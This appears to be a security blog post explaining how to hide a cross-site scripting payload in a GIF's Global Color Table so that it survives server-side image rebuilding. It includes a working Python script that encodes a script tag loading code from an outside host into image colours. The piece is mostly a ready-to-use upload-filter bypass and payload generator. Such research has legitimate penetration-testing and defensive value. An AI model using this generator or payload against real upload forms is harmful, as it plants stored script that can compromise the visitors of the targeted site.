Embedding Payloads in GIF File Using the Global Color Table
Some vulnerabilities require you to have a file on the server containing your payload. One common mechanism for this is through image uploads. There is a variety of techniques people use for this such as embedding the payload in EXIF data, image comments or bypassing the upload form by adding a fake GIF header to the start of the file.
These techniques work a lot of the time but they may often be hampered by manipulations and optimizations by the target such as stripping exif data, more thorough checking of the image validity, rebuilding the image.
This technique is similar to the PNG IDAT chunks method but is more flexible and does not require bruteforcing.
Global Color Table
The Global Color Table is a series of RGB values that follows the GIF header and the Logical Screen Descriptor at the start of a GIF file.
It’s used to store the RGB values used in the rest of the file, this allows for small file sizes as the index in the color table can be used to refer to a color instead of the full RGB value.
Approach
We take our payload (eg. <SCRIPT SRC=//LOL.CC></script>
) and split it into chunks of 3 characters (<SC
, RIP
, T S
…).
Each of these chunks must be unique but our original payload can include the same sequence of 3 characters more than once by putting in spaces or other adjustments (capitalisation, syntax, whitespace characters). For example: ABCABC
becomes [ 'ABC', 'ABC' ]
so that won’t work but ABC ABC
becomes [ 'ABC', ' AB', 'C' ]
so that will work.
These chunks become the colors where each character is the RGB value.
We then just add the payload colors to the image in order, repeating to fill the desired image size.
In my usecase the payload needed to remain after the image was remade with the PHP functions imagecreatefromgif
and imagecopyresampled
and the GCT was rebuilt in order of when each color was first seen. In some settings the GCT is in order of occurence of the color, in that case you will need to make the first payload color more common than the second and so on in your script.
One case my script does not work in is if imagecreatetruecolor
is used, some more work must be done to figure that out but I don’t need it for the scenario that led me to doing this.
Script
Install Pillow:
python3 -m pip install --upgrade Pillow
generate.py:
#!/bin/python
from PIL import Image
import random
def color_to_ascii(color):
return chr(color[0]) + chr(color[1]) + chr(color[2])
def duplicates(array):
seen = set()
return { val for val in array if (val in seen or seen.add(val)) }
def create_custom_gif(output_path, colors, width=100, height=100):
if not colors:
raise ValueError("At least one color must be provided")
img = Image.new('RGB', (width, height))
pixels = []
count = dict()
color_pos = 0
for _ in range((width * height)//10):
pixel_color = colors[color_pos]
color_pos += 1
if color_pos >= len(colors):
color_pos = 0
print(color_to_ascii(pixel_color))
for _ in range(10):
if pixel_color not in count:
count[pixel_color] = 0
count[pixel_color]+=1
pixels.append(pixel_color)
img.putdata(pixels)
img.save(
output_path,
save_all=True,
version='87a'
)
print(f"GIF created successfully at {output_path}")
if __name__ == "__main__":
payload = "<SCRIPT SRC=//LOL.CC></script>"
payload = payload.encode().hex()
payload = [int(payload[i:i+2],16) for i in range(0,len(payload),2)]
while len(payload)%3 != 0:
payload.append(random.randint(0, 255))
custom_colors = []
for i in range(0, len(payload), 3):
color = (payload[i], payload[i+1], payload[i+2])
custom_colors.append(color)
dupes = duplicates(custom_colors)
if dupes:
print(f"Error: Duplicate colors found, make sure every 3 characters is unique: {[color_to_ascii(c) for c in dupes]}")
else:
create_custom_gif(
output_path="generated.gif",
colors=custom_colors,
width=100,
height=100
)